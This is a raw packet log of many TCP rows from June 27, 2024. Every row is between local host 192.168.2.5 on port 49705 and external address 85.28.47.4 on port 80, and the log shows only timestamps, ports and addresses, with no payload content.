Jun 27, 2024 19:25:59.116965055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116978884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116996050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117005110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117022038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117031097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117041111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117057085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117057085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117057085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117075920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117083073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117091894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117098093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117108107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117116928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117125988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117136002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117140055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117155075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117177963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117177963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117430925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117455006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117470026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117485046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117484093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117501974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117511988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117511988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117520094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117532969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117537975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117554903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117558956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117558956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117571115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117583990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117587090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117604017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117604971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117604971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117619991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117633104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117651939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117671013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117847919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117863894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117877960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117896080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.117902994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117937088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117937088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.117960930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118009090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118151903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118168116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118182898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118199110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118201971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118202925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118213892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118223906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118232012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118246078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118247986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118264914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118278980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118294001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118294001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118294001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118294001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118310928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118319988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118319988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118335962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118345022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118352890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118364096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118370056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118381023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118395090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118403912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118403912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118412971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118436098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118458986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118638992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118654013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118669033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.118689060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118689060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.118725061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189207077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189223051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189245939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189273119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189304113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189305067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189321041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189337969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189348936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189354897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189368010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189393044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189393044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189445972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189460993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189475060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189491034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189501047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189517975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189517975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189517975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189533949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189538956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189551115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189555883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189567089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189573050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189584017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189604044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189604998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189624071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.189759970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.189805031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200254917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200270891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200287104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200305939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200323105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200328112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200357914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200371981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200387001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200398922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200398922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200403929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200427055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200443029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200499058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200514078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200530052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200535059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200546026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200548887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200562000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200562000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200583935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200596094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200793028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200809956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200824976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200834990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200839996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200851917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200851917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200855970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200871944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200876951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200889111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200891972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200905085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200905085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200922966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200931072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200941086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.200943947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200959921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.200973988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201127052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201142073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201164007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201173067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201180935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201195955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201199055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201214075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201219082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201231003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201231003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201253891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201275110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201323032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201339006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201363087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201370955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201488018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201504946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201519012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201530933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201536894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201554060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201554060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201570034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201574087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201586008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201595068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201602936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201606989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201617956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201627970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201638937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201643944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201661110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201668024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201678038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201684952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201694965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201703072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201713085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201719999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201729059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201740026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201745033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201759100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201761007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201767921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201777935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201788902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201793909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201802015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201808929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201816082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201827049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.201829910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201853991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.201853991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.202198029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.202212095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.202245951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.202259064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.202327967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.202343941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.202361107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.202370882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.202378035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.202389956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.202394009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.202403069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.202416897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.202418089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.202430964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.202435017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.202450991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.202469110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205339909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205355883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205372095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205391884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205403090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205403090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205406904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205424070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205430031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205449104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205465078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205549002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205564976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205581903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205598116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205599070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205614090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205622911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205622911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205631971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205655098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205655098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205672979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205676079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205701113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205722094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205739975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205907106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205921888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205935955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205950975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205950975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205967903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205976963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205976963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.205985069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.205996990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206003904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206017971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206022024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206037998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206043959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206043959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206053972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206069946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206070900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206069946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206085920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206095934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206103086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206116915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206119061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206135035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206152916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206161976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206161976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206161976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206187963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206187963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206226110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206271887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206296921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206310987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206326008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.206340075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206368923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.206368923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.277729988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277751923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277777910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277793884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277808905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277820110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.277825117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277843952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277864933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.277864933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.277903080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.277918100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277934074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277950048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277964115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.277973890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.277973890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.278001070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.278001070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.278048038 CEST	80	49705	85.28.47.4	192.168.2.5
